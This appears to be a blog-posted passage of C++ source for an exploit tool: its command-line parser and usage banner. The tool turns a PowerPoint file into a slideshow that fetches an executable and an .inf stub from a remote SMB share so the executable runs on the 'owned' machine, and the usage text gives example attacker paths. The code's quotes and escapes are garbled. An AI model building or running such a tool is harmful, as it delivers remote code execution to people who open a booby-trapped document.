    if (argc < 11) {

    print_usage_and_exit(argv[0]);

    return false;
    }

    for (int i = 1; i < argc; i++) {

    stdOpt.clear();

    stdOpt.append(argv[i]);

    if (stdOpt.compare(L”–force-upload”) == 0) {

    *bForceUpload = true;

    continue;
    }

    if ((i+1) >= argc) {

    printf(“[-] ERROR: malformed inputn”);

    return false;
    }

    if ( stdOpt.compare(L”-p”) == 0 ) {

    fnamePptIn ->clear();

    fnamePptIn ->append( argv[i+1]);

    i+=1;

    bFnamePptIn = true;

    continue;
    }

    if ( stdOpt.compare(L”-smb”) == 0 ) {

    smbPath ->clear();

    smbPath ->append( argv[i+1]);

    i+=1;

    bSmbPath = true;

    continue;
    }

    if ( stdOpt.compare(L”-ef”) == 0 ) {

    fnameExe ->clear();

    fnameExe ->append( argv[i+1]);

    i+=1;

    bFnameExe = true;

    continue;
    }

    if ( stdOpt.compare(L”-eof”) == 0 ) {

    fnameExeOnSmb ->clear();

    fnameExeOnSmb ->append( argv[i+1]);

    i+=1;

    bFnameExeOnSmb = true;

    continue;
    }

    if ( stdOpt.compare(L”-iof”) == 0 ) {

    fnameInfOnSmb ->clear();

    fnameInfOnSmb ->append( argv[i+1]);

    i+=1;

    bFnameInfOnSmb = true;

    continue;
    }
    }

    if (!bFnamePptIn || !bSmbPath || !bFnameExe || !bFnameExeOnSmb || !bFnameInfOnSmb) {

    printf(“[-] ERROR: Not all options specifiedn”);

    return false;
    }

    return true;
    }

    void print_usage_and_exit(wchar_t *exe) {

    wprintf(
    L” **************************************************************** n”
    L”[?] Usage: %s [option|[option]…] n”
    L” **************************************************************** n”
    L” options: n”
    L” -p – path to input PowerPoint presentation file; n”
    L” -smb – UNC path on remote server in which files should be n”
    L” placed, f.e: 192.168.3.100public ; n”
    L” -ef – path to executable file to be launched on 0wned n”
    L” machine; content of file ‘ll be stored into -eof n”
    L” file; n”
    L” -eof – name of file into which -ef file’s content to be n”
    L” stored; exploit uploads this file onto -smb path n”
    L” automatically; make sure that -eof file is located n”
    L” on remote server before exploitation phase; n”
    L” -iof – name of .inf file to be stored on remote server; n”
    L” exploit extracts .inf stub from self and stores into n”
    L” file on remote host automatically; make sure that n”
    L” this file exists on remote server before exploitation n”
    L” phase; n”
    L” –force-upload n”
    L” – specifies explicit file’s uploading to remote server; n”
    L” **************************************************************** n”
    L” EXAMPLE: n”
    L” -p a.pptx -smb 192.168.0.1public -ef E:stub.exe n”
    L” -eof Config.xml -iof Preview.inf –force-upload n”
    L” creates a.pptx.saved.ppsx file from a.pptx; n”
    L” stores stub.exe into 192.168.0.1publicConfig.xml; n”
    L” stores .inf stub into 192.168.0.1publicPreview.inf; n”
    L” **************************************************************** n”
    L” NOTES: n”
    L” -smb, -iof, -eof are written into presentations, so make sure n”
    ” that specified things exist in real life; n”
    L” **************************************************************** n”,
    exe);

    ExitProcess(0);
    }

    /* EOF
    */

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.